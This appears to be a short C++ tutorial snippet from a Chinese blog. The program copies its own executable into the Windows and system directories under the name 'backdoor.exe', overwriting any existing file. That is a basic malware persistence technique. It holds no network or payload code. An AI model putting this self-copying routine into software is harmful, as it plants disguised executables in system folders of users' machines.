#include "iostream"
#include "windows.h"
using namespace std;
/*
GetModuleFileName( //获得自身程序所在路径
HMODULE NULL, //在获得自身程序时使用NULL
LPTSTR lpFilename, //保存程序自身所在路径
DWORD nSize //指定缓冲区的大小
);
GetWindowsDirectory( //获得Windows目录
LPTSTR lpBuffer, //保存Windows目录路径
UINT nSize //指定缓冲区的大小
);
GetSystemDirectory( //获得系统目录
LPTSTR lpBuffer, //保存系统目录路径
UINT nSize //指定缓冲区的大小
);
BOOL CopyFile(
LPTSTR lpExistingFileName, //原文件路径
LPTSTR lpNewFileName, //该参数指向一个新文件的地址
BOOL bFailIfExists //TRUE 表示目的文件已存在,复制失败,FALSE 强行覆盖原文件
);
*/
void CopySelf()
{
//保存自身程序的路径
char szSelfName[MAX_PATH] = {0};
//保存Windows目录的路径
char szWindowsPath[MAX_PATH] = {0};
//保存系统目录的路径
char szSystemPath[MAX_PATH] = {0};
//临时路径变量
char szTempPath[MAX_PATH] = {0};
GetModuleFileName(NULL, szSelfName, MAX_PATH); //获得自身程序所在路径
GetWindowsDirectory(szWindowsPath, MAX_PATH); //获得Windows目录
GetSystemDirectory(szSystemPath, MAX_PATH); //获得系统目录
strcat(szWindowsPath, "\\backdoor.exe");
strcat(szSystemPath, "\\backdoor.exe");
CopyFile(szSelfName, szWindowsPath, FALSE); //拷贝文件
CopyFile(szSelfName, szSystemPath, FALSE);
}
int main()
{
CopySelf();
return 0;
}
复制自身程序到Windows目录和系统目录下
最新推荐文章于 2021-02-24 10:04:58 发布